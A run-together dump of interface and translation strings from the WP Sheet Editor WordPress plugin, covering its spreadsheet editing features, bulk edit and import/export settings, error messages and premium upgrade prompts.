make advanced searches, edit hundreds of variations at once, copy variations to multiple products, etc. Download PluginTip: The formula execution is too slow? Save more posts per batch
                  Are you getting errors when executing the formula? Save less posts per batchTip: The saving is too slow? Save more posts per batch
                  Are you getting errors when saving? Save less posts per batchWP Sheet Editor: You can view all these variations and edit them all at once in our spreadsheet. Open in a spreadsheet
                  Use the coupon: %s

                  The export finished.

                  The download should start automatically.

                  WP Sheet Editor

                  Do you want to install the premium plugin that you purchased? Follow these steps:

                  1. If you were using the free version of the plugin before the purchase, you need to uninstall the free version now
                  2. When you purchased the plugin, you received an email with the download link and license key
                  3. Now go to this page and click on the "Upload" button at the top
                  4. Upload the premium zip file
                  5. Activate the plugin
                  6. You will see a screen asking for a license, enter your license key
                  7. Done. Now you should see the welcome page where you can set up the plugin and start using it

                  If you need help, you can contact us

                  Missing column?

                  or
                • Shop manager role can view and edit WooCommerce products.
                • Add a "duplicate" tool to the spreadsheet. You can select one row (post, product, coupon, etc.) and create a lot of copies.

                  Example. Create 100 products with the same tags, dimensions, attributes, and variations. And only change a couple of fields manually.

                  Advanced Custom Fields metaboxes appear in the Spreadsheet Automatically. So you can edit custom fields easily.

                  Create new spreadsheets with custom columns and Share the Spreadsheets with your Users or Employees on the Frontend. Useful for marketplaces where vendors should edit products in the spreadsheet, allow post or event submissions on the Frontend, events directories, Web Apps, Custom Dashboards, etc.

                  Edit Hundreds of Posts at Once with just a few clicks. Search and replace, Replace urls and phrases, save values to fields in bulk, copy values between fields, merge fields, etc..

                  Examples: Copy regular price to sale price, update product attributes names, etc.

                  Edit Hundreds of Posts at Once. Update numeric fields using advanced math formulas. Example, increase prices by 10% , manage inventory , etc. Run any math formula.

                  You can use multiple fields in the formula, for example, "Regular price x Inventory / Sales price

                  Edit SEO title, description, keyword, and SEO score in spreadsheet

                  Edit WooCommerce products in the spreadsheet. It supports all kinds of products, including Variable Products, Downloadable Products, External Products, Simple Products. You can edit all product fields in the spreadsheet, including attributes, images, etc.

                  Edit WordPress users in spreadsheet, edit only basic profiles and make basic searches.

                  Edit WordPress users in spreadsheet. Edit FULL user profiles, including custom fields. Add new columns to the spreadsheet, Good for ecommerce stores, membership sites, events directories, business directories, user directories

                  Edit default post fields in spreadsheet.

                  Edit restaurant menus, courses, projects, portfolios, and all custom post types.

                  Find posts by keyword, taxonomies, author, date, status, or custom fields.

                  Search in multiple fields with advanced operators: =, !=, <, >, LIKE, NOT LIKE

                  Examples: Find products from category Audio with stock < 20, or products from category Apple without featured image, or products containing the keyword "Google" without image gallery.

                  It is the best way to manage your comments, WooCommerce customer reviews, event reviews, testimonials, and order notes in a spreadsheet. You can make advanced searches by any field (keyword, order note, status, find comments by post type, and all the fields). You can bulk edit them, delete all at once, export them to excel or external systems, import comments and reviews from other systems, and more.

                  One Spreadsheet for Every Custom Database Table added by other plugins. Live edit in the cells, Bulk Edit, Make advanced searches by any field, export and import, bulk delete, move information between sites, edit thousands of items, and more.

                  One spreadsheet for categories, tags, product attributes, event categories, portfolio categories, real state tags, etc. View and edit all the items in one place, copy paste, upload category images quickly, add descriptions, edit SEO, etc.

                  Resize columns in the spreadsheet and save it for future sessions.

                  Search in the spreadsheet. Find posts by keyword, status, and author.

                  View WooCommerce Coupons in a spreadsheet. Edit all coupon fields, Advanced Search by any field , Auto generate hundreds of coupons, Update hundreds of coupons at once, and more.

                  View all the EDD products in a spreadsheet, create downloads and files in bulk, edit hundreds of products at once using formulas, Advanced searches using multiple fields, etc.

                  View all the events in a spreadsheet, create events in bulk, edit hundreds of events at once using formulas, Advanced searches using multiple event fields, etc.

                  View all your Customers in a Spreadsheet. View full profile, Edit Profiles Quickly, View Billing and Shipping information, Make advanced customer searches, Export Customers to Excel or Google Sheets, Import Customers from External Applications

                  View and dispatch all the Orders quickly. Advanced Search by any field (shipping method, taxes, VAT, payment methods, customers, products, etc), Export orders and customers information including guest customers; edit thousands of orders quickly, and more.

                  View the image, videos, and all the files from the WP Media library in a spreadsheet. Edit all the file fields, including alt text, image captions, file descriptions, Advanced Search by any field , Auto generate alt text, captions, etc. using the parent post title or categorías, Update thousands of files at once, and more.

                  You can auto fill cells (copy) by dragging the cell corner into other cells, as you can do in excel.

                  You can create columns for custom fields.
                  Edit page settings added by your theme, event details, products information, etc.

                  You can rename the columns of the spreadsheet.
                  Example. Instead of showing “Post author” on the spreadsheet, you can change it to “Uploaded by”.

                  You can show, hide, and sort columns in the spreadsheet.

                  Editing the field: {column_label}. Items to process: {total}, Progress: {progress_percentage}%%, We have updated {edited} items.

                  1- Please backup your database before executing, the changes are not reversible.

                  2- Make sure the bulk edit settings are correct before executing.

                  Complete

                  .

                  Free extensions

                  Send email notifications to users in bulk, and create advanced segments using the advanced search.

                  For example, you can filter a spreadsheet of customers/users/forum users/affiliates/blog commenters by country, city, state, orders count, etc and send them important emails.

                  We recommend that you use a SMTP plugin to improve the email deliverability and take into account the users consent and privacy laws.

                  The automatic saving failed. Your changes were not saved completely due to an error. You can try again later, if the error persists contact our support team and keep this tab opened

                  The bulk edit has been scheduled. You can close this popup. View scheduled bulk edits.

                  The bulk edit was not applied completely. The process was canceled due to an error.

                  You can close this window.

                  The changes have been scheduled. You can close this popup. View scheduled changes.

                  The changes were not saved completely. The process was canceled due to an error .

                  You can close this popup.

                  The export has been scheduled. You can close this popup. View scheduled exports.

                  The import has been scheduled. You can close this popup. View scheduled imports.

                  The import has finished

                  The process did not finish. The process was canceled due to an error.

                  You can close this window.

                  The process has finished

                  This includes spreadsheets to manage Donation Forms, Donations, and Donors. You can bulk edit, export, import, and quickly manage your donations website created with GiveWP

                  You can edit simple products only. Available columns: title, url, description, date, SKU, regular price, sale price, stock status, manage stock, stock quantity.

                  More columns and product types available as premium extension.

                  Do we deserve a 5-star review? Yes, you deserve it . - . NoA column is missing?A column is missing? Enable itA field is missing? Click hereACF: Show checkboxes as multi select dropdowns?Accept post from this post typeAccept terms from this taxonomyActionActivate full screenActivate this option to remove the pagination buttons and load rows automatically when you scroll down. You will see all the rows at the same time, you can load thousands of rows without problems.Active filters:Active.Add NewAdd New Columns to the SpreadsheetAdd New SpreadsheetAdd a name for this group of columnsAdd call to actions or any text at the beginning or ending of your postsAdd columns for custom fieldsAdd hours, days, weeks, months, or years to the existing dates.
                  If the existing date is empty, we will use the current date as a base.Add html classes to the "post status" cells based on their values?Add newAdd new columnAdd new post typeAdd time to existing datesAdministrator role can view and edit everything.Advanced Custom FieldsAdvanced SearchAdvanced SettingsAdvanced modeAdvanced searchAdvanced settingsAll SpreadsheetsAll changes saved.All items have been saved.All the features available in the backend spreadsheet can be used in the frontend spreadsheet.All the parameters will be used to search on variations instead of the main products.All the products in the storeAll the rows from my current searchAll the variable productsAllowAllow backordersAllow line breaks in values during the export and import processAllow multiple files per field?Allow multiple posts per field?Allow multiple terms per field?Allow safe html in post titles?Allow to edit this column on variation rows?Allow to edit using formulas?Allow to hide column?Allow to hide this column on the settings page?Allow to import images from FTP servers?Allow to rename column on the settings page?Allow to rename column?Allow to see the variation URL slug?Allow users with the capability unfiltered_html to save any html in the post content column?Allow your Users to Edit Custom Fields, Add new columns to the editor, Enable fields, disable core fields, and sort fields. You can customize the frontend editor completely.Allow your clients to edit WooCommerce Products using the spreadsheet without wp-adminAllow your marketplace sellers to bulk edit their productsAllow your marketplace sellers to import products on the frontendAllow your readers to submit blog posts using the spreadsheetAllow your store buyers to download the catalogAllow your store customers to make advanced catalog searches Allow your store employees to manage stock and pricesAllow your visitors to publish eventsAllow, but notify customerAllowed valuesAlready downloadedAlternative textAlways run the save_post action after any post row is edited?And more.And see previews while editingAny of these values (Enter multiple values separated by ;)AppendApplication/SoftwareApply changes in bulkApply settingsAre you sure you want to delete the post type? You will delete the posts in the post type as wellAre you sure you want to delete this column?Are you sure you want to delete this columns view?Are you sure you want to delete this scheduled job and all its related files?Attach every taxonomy term in the hierarchy to the posts?Attribute %d defaultAttribute %d globalAttribute %d nameAttribute %d value(s)Attribute %d visibleAttribute nameAttribute value(s)Attribute visibilityAttributesAttributes appear as dropdowns in the product page where the user can select the variation colors, sizes, and any attribute. Here you can define the default options selected in the dropdowns.
                  Separate values with the character %s
                  This only works for Variable Products and it must have variations, otherwise the default attributes won't be saved.AuthorAuthor role can view and edit his own posts only, he can upload images.Auto (Default)Auto retry failed batches?Autofill cellsAutomaticAvailable componentsAvailable spreadsheetsAvailable tools (optional)Average ratingBackendBackorders allowed?Backwards compatibility. This setting will be removed in future updates.Basic searchBlacklist these columnsBulkBulk EditBulk Update featureBulk actionsBulk edit columnBulk edit not executed. No items found matching the criteria.BuyBuy bundleBuy extension now!By default WordPress shows a black bar at the top of the page when a logged in user views a frontend page. The bar lets you access the wp-admin, log out, edit the current page, etc. If you enable this option we will hide that bar and you can use the shortcode: [vg_display_logout_link] to display the logout link.By default dates show in a calendar, post content has a text editor option, images show preview, etc. you can enable this option to display everything as plain text and disable the fancy formatting.By default we automatically show columns for all the new fields found, so everytime we detect new fields you can see them and edit right away. But this might "break" your column sorting or annoy you if you have enabled specific columns. Enable this option to generate those columns but leave them deactivated so you can enable them later.By default we show comments in some columns indicating the value format or why they are locked. for example, the category column shows a tip indicating to separate terms with a comma and how to add child categories, variation columns have a tip indicating why they are locked for parent products. You can activate this option to disable those tips.By default we show the CORE statuses: published, draft, private, scheduled, trash. However, some plugins register custom statuses: job managers, woocommerce. Enable this option to show all the custom statuses in the "status" column. CAREFUL. We will show all the statuses from all the post types in the dropdown because it is impossible to know the post type of each status to we can not separate them. Do this only if you are a developer.By default we show the categories as names separated by commas. Activate this option to display and save term ids separated by commas.By default we show the categories as names separated by commas. Activate this option to display and save term slugs separated by commas.By default we use an infinite list of rows and we load more rows every time you scroll down. You can activate this option to display pagination links and disable the infinite listBy default we use an infinite list of rows and we load more rows every time you scroll down. You can activate this option to display pagination links and disable the infinite list.By default we will copy all the attributes and all the variations and replace the existing variations. You can activate this option to copy individual variations and append them to the existing variations in the target product.By default, for performance reasons, we trigger the WC API events when fields related to WC are edited: Prices, SKU, Stock, Attributes, Images, Type. Activate this option if you want to trigger the WC API events when any field is edited, including fields unrelated to WC.By default, if the product is variable, we activate "used for variations" to save you time, so you can create your variations faster. But if you prefer to manually activate it on specific attributes, you can activate this option.By default, the "parent" column displays titles and saves using titles. If you activate this option, the column will display IDs and save IDs. This is useful if you have duplicate titles and you need to save the exact parent by ID.By default, the importer allows to save images using full internal URLs, external URLs, file name (from the media library), and file ID. If you activate this option, it will support FTP urls like this: ftp://user:password@host:port/path/to/image.png. This will make the import slowerBy default, we create 100 copies per batchBy default, we export and import one column named "Images" with the featured image and gallery images combined. Activate this option to export and import one column with featured image and one column with gallery imagesBy default, we make the attributes visible in the products when you save any attribute in the spreadsheet to save you time, but if you prefer to manually activate it on specific attributes, you can activate this option.By default, we only attach the last term in the hierarchy to the posts because WordPress automatically handles them correctly. But if you want to assign each term to the post, including the parent categories, activate this optionBy default, we only display 30 characters. You can increase the number here to view larger previews.By default, we remove any unsafe html from all the spreadsheet columns before saving the values. You can activate this option if you want to allow the WordPress super admins or administrators to add iframes, ad codes, etc to the post content. Use it at your own risk.By default, we run the save_post action only when a post data field is updated (fields other than meta and taxonomies) for performance reasons. Enable this if other plugins aren't detecting our changes or webhooks aren't running.By default, we show all the columns in the app modules (advanced search, bulk edit, export, import, etc), even if they're disabled in the columns manager. Activate this option to only display enabled columns.By default, we show every checkbox as a separate column, but if you have checkboxes with many options you might want to use one column with a dropdown instead.By default, we show the file name as a preview next to the thumbnail, you can activate this to show the thumbnail and upload buttons onlyBy default, we show the label in the cell instead of the raw value. But you can enable this option to display the raw value in the cells.By default, when you export the featured image column or gallery columns, we add the file ID to each image url so we can import them later faster. You can activate this option to not add the file id and the import will work fine later but it wont be as fastBy the default, the import stops when a product references a broken images and you have to correct the issue in the file and start a new import. Enable this option and we will let you import products without images when the image url is brokenCHARACTER LENGTH <CHARACTER LENGTH >CONTAINSCSV ColumnCSV FieldCSV fileCSV file from my computerCSV file from urlCSV file in the serverCSV file locationCalendarCancelCancel importCancel the changes and close popupCapitalize the first letter of every word in the field. I.e. convert "my title" into "My Title".Capitalize wordsCaptionCareful. The changes are not reversible. Please double check proceeding.Category name...Cell typeChange attribute settingsChange background colorChanges savedChanges saved successfullyCheckboxClear valueClick here to export the settingsClick here to show all columns againClickable buttonClicks avoided
                  (estimated)CloseColumn formatColumn groupsColumn keyColumn nameColumn not found. Try with another search criteria.Column removed. Go to "settings > hide/display columns" to enable it againColumn settings defined in the columns managerColumn sizesColumn titlesColumn width (pixels)Columns could not be saved. Try again.Columns created manuallyColumns limitColumns managerColumns renamingColumns resizingColumns restored successfully, please reload the page to see the restored columns and enable themColumns visibilityColumns visibility and Custom Fields (optional)Comment countCommentsComments, Reviews, and Order Notes SpreadsheetContact usContains keywordContentContinueContributor role can view and edit his own posts only, but he can't upload images.Copy & paste from another spreadsheet or tableCopy and Paste into the spreadsheet belowCopy files from this product: (You need to save the changes afterwards.)Copy from other columnsCopy from this columnCopy regular price and decrease by percentageCopy regular price and decrease numberCopy the value of other fields into this field.
                  Example, copy "sale price" into the "regular price" field.Copy the variations into these products.Copy variationsCopy variations and attributes from this product:Copy variations faster: Number of variations to copy per batchCopy variations from this productCreate and copy variations for variable products.Create columnCreate new items and update existing itemsCreate this number of variationsCreate variationsCreate variations for every combination of attributes?Cross-sellsCurrencyCurrent spreadsheetCustom Database Tables SpreadsheetCustom attribute namesCustom attribute: %sCustom columnsCustom formulaCustom post typesCustomize featuresDark modeData missing, try again later.Data sourceDateDate (GMT)Date and timeDate range fromDaysDeactivate the data prefetchDecimals separatorDecode quotes?Decrease byDecrease by numberDecrease by percentageDecrease the existing value by a number.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85Decrease the existing value by a percentage.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85Deduct a number of hours, days, weeks, months, or years to the existing dates.
                  If the existing date is empty, we will use the current date as a base.Deduct time from existing datesDefaultDefault attributeDefault attributesDefault sort orderDefault: 4. When you enter an external image URL in any image cells (or during the import), we download the image file into the WordPress media library and save it in the field. By default, we limit the download time to 4 seconds, any download that exceeds that number of seconds will be cancelledDeleteDelete allDelete completelyDelete fieldDelete posts faster: Number of posts to delete per batchDelete rowDelete rowsDelete serialized fieldDelete the attached images when deleting a post?Delete the newest items and keep the oldest itemDelete the old items and keep the newest itemDelete user accounts in the entire network when deleting users in the spreadsheet?Demo videoDescriptionDisable allDisable cells lazy loading?Disable column. You can enable it later.Disable extension offerings?Disable post actions while saving?Disable product inventory stats?Disable serialized columns support?Disable the addition of file ID to the image URLs?Disable the automatic activation of "is visible" for attributes on products?Disable the automatic activation of "used for variations" for attributes on variable products?Disable the automatic formatting detection?Disable the automatic loading of rows?Disable the display of file names in the image columns?Disable the full screen mode?Disable the heartbeat api in the spreadsheet?Disable the help toolbar?Disable the popup that asks you to install important extensions?Disable the replacement of line breaks with p tags?Disable this if you are using a object/database cache plugin. We disable this by default to make the saving faster, when you edit a lot of posts WordPress tries to "clean up" the cache even if you are not using a cache plugin, making hundreds of unnecessary database queries.Disable usage stats widget?DisabledDisconnecting the current site from your Google account and the WP Sheet Editor API will pause the sync jobs you created on this site. However, sync jobs created by other users on this site, which sync to their own Google accounts, will remain active. Your other WordPress sites will continue to function normally. Do you want to continue?Display raw value on select cells?Display spreadsheet editor on the frontendDisplay the spreadsheet editor in the frontendDisplay variationsDo not allowDo not copy the variation images?Do you want to deactivate columns for new fields found?Do you want to delete {rows_number} rows from the database completely? If you want to restore them later, you should make a backup before.Do you want to update or create items?Don't display the disabled columns in the modules?Don't show read-only columns in the advanced search?DownloadDownload %d IDDownload %d URLDownload %d nameDownload CSV fileDownload URLDownload expiryDownload filesDownload files : URLsDownload files : namesDownload limitDownload nameDownload typeDownload updateDownloadableDownloadsDrag the columns to the left or right side to enable/disable them, drag them to the top or bottom to sort them, click on the "edit" button to rename them, click on the "x" button to delete them completely (only when they are disabled previously).DuplicateDuplicate (Tool)Duplicate from the main languageDuplicate items in bulkDuplicate items in bulk.Duplicate rowDuplicate rows: Number of copies to create per batchDuplicate this item:EDD Download FilesEDD Variable PricesENABLE COLUMNS. These columns require a page reload: {columns}. Do you want to reload now? We will reload automaticallyENDS WITHEasy Digital Downloads SpreadsheetEditEdit Edit %sEdit Coupons in a Spreadsheet.
                  Edit coupon codes, amounts, status, restrictions, and more. Make advanced searches. The spreadsheet is in sync with your site, no need to import/export. Download PluginEdit Custom Fields in SpreadsheetEdit Posts and Pages in SpreadsheetEdit User Profiles in Spreadsheet - BasicEdit User Profiles in Spreadsheet - FULLEdit WooCommerce products, WooCommerce Variations and Attributes.
                  Edit hundreds of posts at once using formulas, copy information between posts,
                  Edit custom post types and custom fields, Edit User Profiles, and MoreEdit WordPress %sEdit all the rows from my current search (including non-visible rows).Edit attributesEdit categories, tags, attributes in a spreadsheetEdit filesEdit in a SpreadsheetEdit meta keyEdit only parent productsEdit only variationsEdit settingsEdit the rows that I selected manually in the spreadsheet.Edit the same rows that I manually selected previouslyEdit "%s"Editing:Editor role can view and edit all posts and pages.ElementorEmailEmail messageEmail subjectEnableEnable advanced filtersEnable allEnable auto saving?Enable columnEnable commentsEnable new spreadsheetEnable option to restrict spreadsheet views per user?Enable paginationEnable reviewsEnable simple mode?Enable the advanced mode at the bottom of the page to customize the column width, format (editor, file upload, taxonomies), etc.Enable the dark mode?Enable the fancy taxonomy terms selectorEnable the utf8 encoding fixEnable this option if you want to copy all the variation data, except the variation image.EnabledEnabling this column requires a page reloadEnter %sEnter IDs separated by commas, spaces, new lines, or tabs. You can use ID ranges like 20-50 as a shortcut.Enter a date format. List of formats. Example: Y-m-dEnter a date format. List of formats. Example: Y-m-d H:i:sEnter a date format. List of formats. If you leave it empty, we'll use the default: Y-m-dEnter a date format. List of formats. If you leave it empty, we'll use the default: Y-m-d H:i:sEnter a keywordEnter a keyword to exclude posts, separate multiple keywords with a semicolon (;)Enter a name...Enter a number and those columns will be frozen while scrolling horizontally. You can right click on any column to freeze or unfreeze it. For example, enter 2 to freeze the first 2 columnsEnter a search term...Enter a titleEnter a username or email...Enter a word and we will find the first matching column. You will avoid scrolling through dozens of columns to find the one you need.Enter each choice on a new line. For more control, you may specify both a value and label like this: red : RedEnter item name...Enter multiple SKUs or IDs separated by commasEnter multiple URLs separated by commasEnter multiple attributes separated by |Enter multiple language codes separated by commas and we will create copies of the main language. For example: en, es. Existing languages will be skipped.Enter multiple post titles separated by commasEnter multiple terms separated by %sEnter multiple terms separated by commasEnter one URL per lineEnter one or multiple term names separated with %s or new lines. Enter the full hierarchy like "Parent > Child" to remove subcategoriesEnter the URL. It can be an URL from your own site (Example http://site.com/wp-content/uploads/2016/01/file.jpg) or an external URL.Enter the URL. It must be an URL from your own site. Example: http://site.com/wp-content/uploads/2016/01/file.jpgEnter the URLs separated by commas. They can be from your own site.Enter the URLs separated by commas. They must be from your own site.Enter the attribute nameEnter the column name (anything you want), and select the field key from the dropdown. If you dont find it you can type it in the dropdown. View TutorialEnter the full hierarchy like parent > childEnter the list of field keys separated by commas, you can enter the full meta field key or partial keywords or prefixes. This is useful because some plugins add thousands of unnecessary fields to the database and they clutter the spreadsheetEnter the names of Enter the new terms separated by %s . You can add hierarchy like parent > child > childEnter the number.Enter the percentage number.Enter the term name or slug.Enter the value to append to the existing value.Enter the value to prepend to the existing value.Error on row ID: %d - %sError. The math engine could not execute the math operation: %1$s, ID: %2$dError. The status column must be enabled in the spreadsheet before we can remove duplicates.Error: %sError: The new value is empty or is equal to the old valueEtc.Events SpreadsheetEverything is already saved.Everything you need for All Posts Types and ProductsEverything you need for Users and CustomersExample 1: $current_value$ + 2 * 5.
                  Example 2: $_regular_price$ * 0.7 (Set regular price - 30%)Example: ExcerptExecuteExecute NowExitExit Full ScreenExportExport and import settingsExport columnExport rows faster: Number of rows to export per batchExport to CSVExtend the spreadsheetExtension nameExtensionsExtensions that require updateFTP Images: Skip images with same file name?Favorite search fieldsFeatured ImageFeatured imageFieldField 2: CSV FieldField 2: WordPress FieldFile (url or path)File IDFile URLFile URLsFile could not be uploaded. Please start the process again.File uploadFile upload (multiple)File upload (single)File uploaded succesfully but it's not a valid CSV file or it uses the wrong encoding. If you edited the file in Excel, verify it was saved as UTF-8 and keep in mind that, sometimes copy pasting from external places adds invalid characters. So make sure you paste only the values and not paste the formatting to avoid pasting invalid characters.Files saved.Filter items listFinal stepFind these IDs:Find these URLs:For advanced users. Enter the name of your PHP function and we will pass 2 parameters: $current_data (string with current value of the column) and $row_id, the function must accept the 2 parameters and return the modified value as a string. We will automatically save it if the value changed. Read more.For example, if you searched for posts by author = Mark using the search tool, we will update only posts with author MarkFor example, if you select the blog categories, we will only accept blog categories in this column.For example, if you select the post type "product", we will only accept product titles.For example, select "Spanish" and "German" here and we'll find products that don't have spanish translations or german translations.For example, select "Spanish" and "German" here and we'll find terms that don't have spanish translations or german translations.For example, when deleting a post completely (not moving to the trash), delete the featured image and product gallery images from the media library. CAREFUL.If you use the same images on multiple posts, it will break the images on other postsFormatted cell mode: Render as: (Use only if cell type is empty)FormulasFreeze first columns at the left side?Frontend SheetFrontend SpreadsheetsFull URLFull contentFull screen mode is activeGalleryGeneral settingsGenerate excerptGenerate serialized fields columns based on these postsGet instant help in the live chat + email support during business hoursGet the %d extensions below for just $ %s $ %sGive SpreadsheetGlobal sortGo PremiumGo backGo to pageGo to the topGoogle SheetsGuides and TutorialsHeightHelpHere is a sample CSV containing all types of products.Here you can control the batch size for the copy of variations. If you use a high number the copy will finish faster but it can saturate your server. We recommend a low value like 50 so it will not saturate your server although it might be slowerHere you can control the batch size for the exports. If you use a high number the exports will finish faster. You can use a high number safely because we automatically fall back to a lower number if the server is overloaded during one export. For example, export 100 rows per batch and complete the exports super fast and if we detect slowness in one export we will automatically restart the export with 10 rows per batchHide / Display / Sort columnsHide admin bar on the frontendHide columnHoursHow are the multiple values saved in the database?How do we find existing items to update?How do you want to save the multiple files?How do you want to save the multiple posts?How do you want to save the multiple terms?How is the file saved in the database?How is the post saved in the database?How is the taxonomy term saved in the database?How is the user saved in the database?How long do you want to wait between batches? (in seconds)How many copies do you want?I don't want to copy all the variationsI have a database backup, Execute NowI understand it will update the products from my search.I understand, continueI want to search rows to update and edit all the search resultsI.e. A value like "(234343) My great title" can become "My great title" by removing everything before ") "I.e. A value like "My great title (234343)" can become "My great title" by removing everything after " ("IDIf the column has a very long text, we will remove the html and shorten it to a number of words.If this is a global attribute, enter the attribute key (i.e. pa_color). Enter the name if this is a custom attribute.If you are trying to download something that was exported several hours ago, the file might have expired. Files expire after %s hours.If you click on the "download" button, we will download the file from the official website: wpsheeteditor.com.If you disable this option, this column will be edited manually only.If you enable this option, some columns will appear as text. Normally we detect the date fields, image fields.If you enable this option, the usage stats widget shown in the wp-admin dashboard will be removed.If you enable this option, we will add fields to the user profiles where you can specify which spreadsheet views they can use, they can use all the spreadsheet views if this is deactivated.If you enable this option, we will simplify the spreadsheet options and remove advanced examples, tips, and options rarely used in the search tool, bulk edit tool, import tool, export tool, and other places.If you stop an import to edit your CSV file or change the import speed, you can start a new import and continue from where you left off.Ignore this columnImage preview height inside the cellImage preview width inside the cellImagine being able to do all those changes to hundreds or thousands of posts at once in just a few minutes. The formulas feature is available as premium extension.ImportImport all rows as newImport all the columnsImport as meta dataImport csvImport settingsImportant extensionsImportant. We only detected one column in the CSV file. If this is incorrect, follow these steps to fix itImportingIn the last x daysIn the last x hoursIn the last x weeksIn the last x yearsIn this page you can quickly set up the spreadsheet editor. This all you need to use the editor. The settings on the other tabs are completely optional and allow you to tweak the performance of the editor among other things.Increase ProductivityIncrease byIncrease by numberIncrease by percentageIncrease or decrease products pricesIncrease or decrease products stockIncrease rows per pageIncrease the existing value by a number.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85Increase the existing value by a percentage.
                  The result is rounded to the 2 nearest decimals. I.e. 3.845602 becomes 3.85Initial rows offsetInsert into itemInstall for FreeIntegrationsInvalid #898AJSI. The replace requires 2 parameters, we received oneInvalid #8W23CV. We accept MATH and REPLACE formulas only, we received an unknown formula type.Invalid #8W89PQ. Math formula is empty.Invalid #8W89PWQ. Math formula is invalid.Invalid #PQ8PHP. The PHP function does not exist: %sInvalid #PQ8SPQ. The math formula contains a comma: %sInvalid time unit.InventoryIs DownloadableIs VirtualIs Visible?Is a global attribute?Is featured?Is read only?Is visible?It searches in the post title and post content. Search by multiple keywords separating keywords with a semicolon (;)It's important that you install them to prevent errors, but you can do it later if you want. Find this popup in the toolbar > extensions > Integrations.Items loaded in the spreadsheetJust save changesKeyLabelLast editLeave empty to use the global settings.Leave this empty if you want to unset the term.LengthLight modeLinks ColorList of deleted columnsLiveLoadLoad More RowsLoad more items on scroll?Load more on scrollLoad rows faster: Number of rows to load per batchLocate cellLocate cell.Locate columnLocked cells only show a preview of the value. The default character length is %dLogin messageLogoMain ColorMake another searchManage stockManage taxonomy column values as term ids?Manage taxonomy column values as term slugs?Manage the post parent column using IDs?Math FormulasMath formulaMath formula roundup decimalsMath operationMaximum meta fields displayed in the advanced filters dropdownMaximum number of characters displayed in the preview of the values of tinymce columns?Maximum number of seconds to download external images?Maximum number of variations per combination of attributesMaximum number of wordsMaximum visible characters in locked cellsMaybe your server did not allow us to create the file. It happens if your server is not configured correctly and our folder %s does not have write permissions, so we're not able to create the file. You should request help from your hosting provider.Media Library SpreadsheetMenuMeta keys that should use the infinite serialized fields handlerMeta: %sMicrosoft Excel (Office 365)Mime typeMiscMissing columnsMissing number and time unit.Missing parameters.Missing post type or column_keyMissing post type, old_column_key, or new_column_key; or the old and new key are the same.Missing required field "data".Missing required field. Please start the process again.Modified DateModified Date (GMT)Modified cellsModified rowsMonthsMore optionsMove all your drafts to published posts or any other statusMove hundreds of posts to the trashMulti select dropdownMusicMy licenseNOT CONTAINSNOT Contains this keywordNameName of this exportName of this export (optional)Need help?Need help? Check our tutorialsNeed help? Contact usNew SpreadsheetNew multi select dropdown (Default)New rows addedNew valueNextNoNo items found.No more posts available.No options availableNo posts available for the current page.No posts found matching your search parameters. You can remove the active filters or try with a different search.No taxonomies found.No, remove everything after the text, without including the textNormal cellNot allowed.Not allowed. Please start the process again.Not foundNot found in TrashNote. This is not a security feature, the user can edit all the fields in the normal editor based on the role. This option is for convenience, so they only see the columns they need when they open the spreadsheet editor. If you leave these fields empty they can switch between all the existing viewsNote: Separate values with the character %1$s
                  We recommend using Global Attributes if you will use them in many products.Create Global Attribute
                  Global attributes have their own columns in the spreadsheet. You can edit them in the columns (faster) or using this popup.
                  If you are editing the attributes of variations, the variation must be enabled, otherwise the attributes won't be saved.Note: Separate values with the character %s
                  The product must be variable and have existing variations for this to work, otherwise the default attributes won't be saved.NumberNumber of decimalsNumber of rows to process per batch:OKOld single select autocompleteOld slugOlder versions of Microsoft ExcelOne email per user means that if 3 rows have the same email address, only one row will trigger an email and the others will be skipped. One email per row means that if 3 rows have the same email address, we'll send 3 emails to the same address (one per row).One variation row has a parent product that does not exist. The "parent" column contains the %1$s: %2$s. Please correct it and start a new importOnly administrators are allowed to send emails to users.Only copy new variationsOnly create new items, ignore existing itemsOnly for advanced users. Read more.Only send one email per email address?Oops, nothing foundOpen Settings PageOpen in a SpreadsheetOpen the Spreadsheet EditorOperatorOrderOtherOther extensionsPHP FunctionPage ParentPagesParentParent Spreadsheet:PasswordPaste the settings here (the contents of the exported file). Notes:Paste using keyboard: Ctrl+VPausePeople will reply to this email addressPing statusPlain text mode: Render as: (Use only if cell type is empty)Please check if you have unsaved changes. If you have, please save them or they will be dismissed.Please correct the error and save again.Please correct the error in the file and start a new import. You can use the "Advanced options" in the step 1 of the import to start from this specific row.Please enter the email subject and email message.Please enter the name of the spreadsheet views separated by commas.Please indicate which terms you want to remove.Please make a database backup before the import to be safePlease make a search to load the rows and start editing (use the "search" option in the top toolbar).Please select a product.Please select a source product.Please select at least one column to importPlease select the background colorPlease select the post type and save changes. After you save changes you will be able to see the rest of the settings and instructions.Please type the word DELETE and press enter to proceed:Please update all the WP Sheet Editor plugins. This feature requires the latest version of all our plugins.Please update the WP Sheet Editor plugin and all its extensions to the latest version. The features of the plugin "PositionPost dropdownPost TypePost Type General NameSpreadsheetsPost Type Singular NameSpreadsheetPost dataPost meta (i.e. metaboxes)Post terms (i.e. categories)Post typePost type deletedPost type(s)Post types created with WP Sheet EditorPostsPrependPreview Frontend EditorPreviousPrimary MenuProProcessing...Processing: %1$d of %2$d rows have been exported.Product attributesProduct attributes not used for variationsProduct attributes not visibleProduct galleryPromotion. %d%% OFF only today. Purchase noteQuick AnswersQuick searchQuick settingsREGEXPRaw HTMLRead-only columns will display a lock and it won't be possible to edit them anywhere in the spreadsheet. This is not a security feature because people still can edit in the regular WP screens.Realign cellsRegular PriceRegular priceRemember this column mapping configuration?Remove all filtersRemove column completely. If you want to use it later you can disable it by dragging and dropping to the right columnRemove duplicatesRemove duplicates by sku (delete the latest)Remove duplicates by sku (delete the oldest)Remove duplicates by title (delete the latest)Remove duplicates by title (delete the oldest)Remove duplicates with same title and contentRemove duplicates with same title and content (delete the latest)Remove duplicates with same title and content (delete the oldest)Remove everything after some textRemove everything after this textRemove everything before some textRemove everything before thisRemove featured imageRemove help messages from the cells?Remove terms from postsRemove the existing value and leave the field empty. Read moreRemove the text from above too?Remove the text too?Rename columnReplaceReplace a default attribute termReplace a media file with other fileReplace a word, phrase, or number with a new value. Read moreReplace existing value with a random value from this list. Enter the values separated with | if you want to select from a predefined list, or enter 2 dates separated with > if you want to select any date from that rangeReplace existing value with this value. Read moreReplace old shortcodes with new shortcodes in all your postsReplace some term(s) with new term(s). Read moreReplace these 